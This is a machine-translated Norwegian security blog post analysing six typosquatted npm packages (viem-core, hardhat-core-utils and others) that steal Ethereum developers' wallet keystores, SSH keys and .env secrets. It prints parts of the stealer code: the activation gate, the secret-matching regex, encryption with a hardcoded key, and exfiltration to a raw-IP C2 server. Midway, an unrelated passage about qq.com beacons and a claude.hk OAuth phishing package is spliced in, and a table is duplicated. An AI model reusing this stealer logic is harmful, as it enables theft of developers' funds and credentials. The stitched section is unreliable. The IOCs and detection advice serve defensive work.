EVMDeFi npm Typosquatting-angrep stjeler utviklernøkler

EVM/DeFi npm Typosquatting-angrep stjeler utviklernøkler

TL; DR

6. mai 2026, en enkelt npm-utgiver, namikazesarada010206, sendte ut seks ondsinnede pakker rettet mot Ethereum-, Solidity- og DeFi-utviklerøkosystemet.

Pakkene, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsog web3-utils-core, brukte plausible navn designet for å se ut som hjelpebiblioteker for populære Web3-verktøy.

Alle seks pakkene inneholdt det samme telemetry.js fil. Filen var byte-identisk på tvers av klyngen, med SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Skadevaren kjører ikke under installasjon. Det finnes ingen preinstall or postinstall krok. I stedet aktiveres den når pakken importeres gjennom require().

Den detaljen er viktig.

Implantatet venter til en utvikler faktisk bruker pakken. Deretter sjekker det om arbeidsstasjonen ser ut som et ekte Ethereum/Solidity-utviklingsmiljø. Det ser etter Alchemy- eller Infura-nøkler, private nøkler, mnemonics, deployer-nøkler eller en lokal Foundry-katalog.

Hvis verten samsvarer, samler stjelen SSH-private nøkler, Foundry / Geth / Brownie-lommeboknøkkellagre, .env* filer og sensitive miljøvariabler. Den krypterer pakken med AES-256-GCM ved hjelp av en hardkodet passordfrase og eksfiltrerer den til et rått IPv4 C2-endepunkt med TLS-verifisering deaktivert.

Xygenis system for tidlig varsling av skadelig programvare (MEW) bekreftet at alle seks pakkene var skadelige. Rapportpakken om fjerning av npm-registeret er ventende.

Klyngen: Seks pakker, én utgiver

Utgiverkontoen namikazesarada010206 var koblet til den ubekreftede Gmail-adressen namikazesarada010206@gmail.com.

Kampanjen dukket opp som en endagspublikasjonsutgivelse 6. mai 2026. Alle seks pakkene ble versjonert som 1.0.0, hadde null kjøretidsavhengigheter, og leverte bare tre filer:

package.json index.js telemetry.js

De erklærte også det samme kildelageret:

https://github.com/harunosakura030303-maker/evmchain-config

De tre første pakkene ble fanget opp av MEW-skannere ved første publisering. De resterende tre ble tvangsflagget etter analytikergjennomgang av utgiverens npm-profil. Når den samme byte-identiske telemetry.js ble bekreftet på tvers av klyngen, ble de lukket som ondsinnede på grunn av konsekvens.

Pakke Versjon npm Publisert MEW-billett Kjennelse
viem-kjerne 1.0.0 2026-05-06 01:38:44Z #51049 Ondsinnet
viem-utils-core 1.0.0 2026-05-06 #51050 Ondsinnet
hardhat-core-utils 1.0.0 2026-05-06 #51051 Ondsinnet
evm-utils 1.0.0 2026-05-06 #51069 Ondsinnet, av konsistens
støperiutstyr 1.0.0 2026-05-06 #51071 Ondsinnet, av konsistens
web3-utils-core 1.0.0 2026-05-06 #51070 Ondsinnet, av konsistens

Navnestrategien er enkel, men effektiv.

Disse pakkene etterligner ikke eksakte oppstrømsnavn. I stedet bruker de plausible «verktøy»-suffikser som -core, -utilsog -utils-coreDet får dem til å se ut som tilhørende biblioteker en utvikler kan forvente å se i nærheten av Web3-verktøy.

Ondsinnet pakke Legitim mål
viem-kjerne viem, en populær Ethereum TypeScript-klient
viem-utils-core viem
hardhat-core-utils hardhat, et vanlig Solidity-utviklingsmiljø
evm-utils Generisk EVM-verktøynavneområde
støperiutstyr støperi, en Solidity-verktøykjede
web3-utils-core web3-utils, Web3.js-hjelpere

Dette er mønsteret for «tilleggspakken»: ikke «Jeg er den virkelige pakken», men «Jeg ser ut som en rimelig hjelper rundt den virkelige pakken».

For DeFi-utviklere som beveger seg raskt, er det nok til å skape risiko.

Hva skjer når pakken importeres

Angrepskjeden er liten, bevisst og fokusert på kryptoutviklingsmiljøer.

Det er ingen monteringskrok. I stedet inneholder hver pakke en index.js som eksporterer stub-funksjonalitet og deretter laster den skadelige telemetrimodulen.

require('./telemetry').init();

Dette betyr at skadevaren aktiveres ved første import.

Det er driftsmessig nyttig for angriperen. Mange skannere og sandkasser fokuserer på oppførsel under installasjon. Denne pakken venter til den faktisk brukes av en utvikler, et byggeskript, en testpakke eller en kjøretidssti.

Aktiveringsport: Utløses kun på ekte Web3-utviklerarbeidsstasjoner

Den viktigste delen av implantatet er aktiveringsporten.

Skadevaren sjekker for miljøvariabler som vanligvis finnes på Ethereum/Solidity-utviklermaskiner:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Den sjekker også om Foundry ser ut til å være installert:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Hvis ingen av betingelsene er sanne, returnerer funksjonen og gjør ingenting.

Det gjør pakken roligere i generiske analysemiljøer. En sandkasse uten Foundry, Alchemy-nøkler, Infura-nøkler, private nøkler eller mnemonics kan se ut som importen ser harmløs ut.

På en samsvarende vert venter skadevaren 60 til 90 sekunder før den samles inn:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Forsinkelsen reduserer den åpenbare korrelasjonen mellom import og utfiltrering. .unref() call lar også vertsprosessen avsluttes normalt hvis pakken ble importert i et kortlivet skript.

Dette er ikke støyende «smash-and-grab»-oppførsel. Det er en målrettet stjelingsfunksjon som er utformet for å unngå å kjøre med mindre utviklermiljøet er verdt å stjele fra.

Hva tyveren samler på

Når aktiveringsporten er passert, samles skadevaren inn fra kilder som er viktigst i Web3-utvikling: private nøkler, lommeboknøkkellagre, distribusjonslegitimasjon, skyhemmeligheter, npm-tokens og lokal prosjektkonfigurasjon.

Kilde Hva som samles inn
prosess.env Enhver variabel som samsvarer med /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer som inneholder PRIVATE KEY eller BEGIN OPENSSH, inkludert fullstendig filinnhold
~/.foundry/nøkkelbutikker/* Foundry lommebok nøkkellagringsfiler
~/.ethereum/nøkkelbutikk/* Geth lommebok nøkkellagringsfiler
~/.brownie/kontoer/* Brownie lommebok nøkkellagringsfiler
${cwd}/.env Fullstendig filinnhold
${cwd}/.env.local Fullstendig filinnhold
${cwd}/.env.production Fullstendig filinnhold
${cwd}/.env.development Fullstendig filinnhold
os.vertsnavn() Vertsmetadata
krypto.tilfeldigUUID() Offer-/øktidentifikator
Dato.nå() Tidsstempel for samling
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA-tokenene er:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Vi har ikke vært i stand til å bekrefte om telemetrien var operatørens egen analyse eller en separat monetarisert kanal. ATTA-tokenene er de samme i begge utvalgene vi undersøkte.

Klynge B: heibai

claude.hk OAuth-nettfisking + ANTHROPIC_BASE_URL-kapring

Utvalget fra 1. april er den grovere, tidligere delen av kampanjen.

heibai:2.1.88-claude.hk-4 ble utgitt av wuguoqiangvip28, en konto opprettet 7. juni 2025. Pakken versjonerte seg selv eksplisitt mot den legitime 2.1.88 Antropisk utgivelse.

Den bryr seg ikke om CA-cert MITM. I stedet lyver den til brukeren om OAuth-endepunktet.

De ondsinnede tilleggene i tillegg til den lekkede Claude Code-kildekoden inkluderer:

Kilde Hva som samles inn
prosess.env Enhver variabel som samsvarer med /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer som inneholder PRIVATE KEY eller BEGIN OPENSSH, inkludert fullstendig filinnhold
~/.foundry/nøkkelbutikker/* Foundry lommebok nøkkellagringsfiler
~/.ethereum/nøkkelbutikk/* Geth lommebok nøkkellagringsfiler
~/.brownie/kontoer/* Brownie lommebok nøkkellagringsfiler
${cwd}/.env Fullstendig filinnhold
${cwd}/.env.local Fullstendig filinnhold
${cwd}/.env.production Fullstendig filinnhold
${cwd}/.env.development Fullstendig filinnhold
os.vertsnavn() Vertsmetadata
krypto.tilfeldigUUID() Offer-/øktidentifikator
Dato.nå() Tidsstempel for samling

Mållisten er svært spesifikk. Dette er ikke generisk nettlesertyveri eller bred skraping av legitimasjon. Den er rettet mot utviklere som bygger, tester, distribuerer eller driver Ethereum-applikasjoner.

Inkluderingen av Foundry-, Geth- og Brownie-nøkkellagre er spesielt viktig. Disse filene kan representere direkte tilgang til lommebøker eller distribusjonsidentiteter. Hvis angriperen kan koble dem med passord, mnemonikk eller miljøhemmeligheter, kan de være i stand til å flytte penger, utgi seg for å være distributører eller kompromittere smartkontraktoperasjoner.

Kryptering før eksfiltrering

Skadevaren krypterer de innsamlede dataene før de sendes ut.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Den hardkodede passordfrasen er:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Den endelige nyttelasten pakkes inn som JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Kryptering gjør ikke skadevaren mer avansert i seg selv. Det gjør imidlertid nettverksinspeksjon vanskeligere. En forsvarer som overvåker utgående systemer ville se en JSON-nyttelast, men ikke de stjålne nøklene, lommebokfilene eller .env innhold uten den hardkodede passordfrasen og dekrypteringslogikken.

Eksfiltrering til en rå IPv4 C2

Eksfiltreringsbanen er hardkodet:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Skadevaren sender data til:

https://76.13.37.80:8443/api/v1/telemetry

To detaljer skiller seg ut.

For det første er C2 en rå IPv4-adresse i stedet for et domene. Det fjerner behovet for domeneregistrering og unngår noen domenebaserte deteksjoner.

For det andre er TLS-verifisering deaktivert med:

rejectUnauthorized: false

Det gjør at skadevaren kan godta alle sertifikater, inkludert selvsignerte sertifikater. Med andre ord får angriperen kryptert transport uten å trenge et gyldig offentlig sertifikat.

Det finnes ingen logikk for nye forsøk og ingen reservevert. Feil svelges stille. Dette holder pakken stille hvis C2 er frakoblet eller utilgjengelig.

Hvorfor denne kampanjen er viktig

De fleste ondsinnede npm-pakkene rettet mot utviklere jager bred legitimasjon: npm-tokens, AWS-nøkler, GitHub-tokens eller .npmrc filer.

Denne kampanjen snevrer inn målet.

Den ser etter tegn på at maskinen tilhører en Ethereum- eller Solidity-utvikler. Deretter henter den akkurat de ressursene som er viktige i det miljøet: lommeboknøkkellagre, private nøkler, mnemonikk, utplasseringsnøkler, .env filer og SSH-nøkler.

Det gjør kampanjen farligere for Web3-team enn en generisk npm-tyver.

En vellykket infeksjon kan avsløre:

  • Distribusjonslommebøker
  • Administratornøkler for smarte kontrakter
  • RPC-leverandørnøkler
  • Legitimering for skydistribusjon
  • npm-publiseringstokener
  • SSH-tilgang til utvikler eller byggeinfrastruktur
  • Prosjekthemmeligheter lagret i .env filer
  • Lommeboknøkkelbutikker for Foundry, Geth eller Brownie

Pakkenavnene viser også tydelig sosial manipulering. De retter seg mot Web3-utviklerøkosystemet gjennom kjente verktøynavn: viem, hardhat, foundry, evmog web3.

Aktøren trenger ikke å inngå kompromisser med de virkelige prosjektene. De trenger bare en utvikler til å installere det som ser ut som en rimelig følgepakke.

Indikatorer for kompromittering og deteksjon

Pakker og utgiver
Felt Verdi
npm-utgiver namikazesarada010206
Utgiverens e-postadresse namikazesarada010206@gmail.com
e-post bekreftet Nei
SCM verifisert Nei
omdømme poengsum 1.0
Nettsidepakker viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versjoner Alle 1.0.0
Kildelager https://github.com/harunosakura030303-maker/evmchain-config
Bekreftet skadelig Alle seks pakkene
Network
typen Verdi
C2-endepunkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-port 8443/tcp
TLS-oppførsel avvisUautorisert: usann
Nyttelastskjema {"v":2,"iv": «d»: «t»: }
Filer og hasher
typen Verdi
telemetri.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakkeoppsett pakke.json, indeks.js, telemetri.js
Filantall 3
Omtrentlig totalstørrelse 3.4 KB

Aktiveringssignaler

Skadevaren sjekker etter disse miljøvariablene:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Den sjekker også for:

~/.foundry/

Målrettede vertsstier

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Samlingsregeks

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Deteksjonsmerknader

Flere regler fanger opp denne kampanjen uten at det kreves full atferdsanalyse.

Først, skann låsefiler for de seks ondsinnede pakkenavnene:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Enhver kamp i package-lock.json, yarn.lock, pnpm-lock.yamleller node_modules Historien bør behandles som en alvorlig hendelse.

For det andre, overvåk Node.js-prosesser som leser nøkkellagerstier for lommeboken:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Dette er sjelden legitim oppførsel for en pakke importert som en hjelpeavhengighet. Det er spesielt mistenkelig når det etterfølges av utgående nettverksaktivitet.

For det tredje, blokker eller varsle om HTTPS-tilkoblinger til:

76.13.37.80:8443

Spesielt når forespørselsstien er:

/api/v1/telemetry

For det fjerde, let etter npm-pakker som kombinerer disse egenskapene:

  • Nylig eller lavt anerkjent utgiver
  • Ubekreftet Gmail-konto
  • Web3-tilstøtende pakkenavn
  • Ingen meningsfull historikk for arkivet
  • Liten pakkeoppsett
  • index.js som laster inn en telemetri- eller hjelpefil
  • Ingen kjøretidsavhengigheter
  • Samling av sensitive miljøvariabler
  • Tilgang til lommeboknøkkellager

Dette mønsteret er mer nyttig enn en enkelt IOC fordi den neste pakken kan endre IP-adressen, men beholde den samme målrettingslogikken.

Sjekkliste for kompromissrespons

Hvis en utvikler brukte en av de seks pakkene og miljøet deres samsvarte med aktiveringsporten, skal arbeidsstasjonen behandles som kompromittert.

Det inkluderer maskiner med Foundry installert, Alchemy- eller Infura-nøkler i miljøet, private nøkler, mnemonics eller distribusjonsnøkler.

Anbefalt svar:

  • Koble fra verten fra nettverket.
  • Bevare node_modules, låsefiler, skallhistorikk og relevante logger for rettsmedisinske undersøkelser.
  • Roter hvert SSH-tastepar under ~/.ssh/.
  • Roter lommeboknøkler for hver nøkkelbutikk under ~/.foundry, ~/.ethereumog ~/.brownie.
  • Flytt penger til nye lommebøker.
  • Roter alle hemmeligheter som er lagret i .env* filer i repositorier utvikleren jobbet i.
  • Roter miljøhemmeligheter som samsvarer med samlingens regex, inkludert AWS-nøkler, npm-tokener, distribusjonstokener, API-nøkler, private nøkler, frø og mnemonikk.
  • Revisjon av sky-, npm-, GitHub-, RPC-leverandør- og blokkjedeaktivitet siden pakken først ble installert.
  • Lag et nytt bilde av arbeidsstasjonen før bruk på nytt.

Hva forsvarere bør ta med seg

Denne kampanjen viser hvordan npm typosquatting utvikler seg rundt økosystemer med høy verdi for utviklere.

Skuespilleren trengte ikke utholdenhet. De trengte ikke forvirring. De trengte ikke engang utførelse under installasjon.

I stedet stolte de på tre ting:

  • Plausible Web3-pakkenavn
  • Aktivering kun på ekte kryptoutviklingsmaskiner
  • Direkte tyveri av filene og hemmelighetene som er viktigst for Ethereum-utviklere

Det gjør kampanjen lett å overse i bred skanning og farlig når den lander i riktig miljø.

For Web3-team er lærdommen klar: behandle avhengighetsnavn som en del av trusselmodellen din. En pakke som ser ut som en harmløs hjelper kan fortsatt bli den korteste veien til lommebokkompromittering.

Rapportert til npm-registeret. Vi oppdaterer dette innlegget når utgiverkontoen og pakkene er fjernet.

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken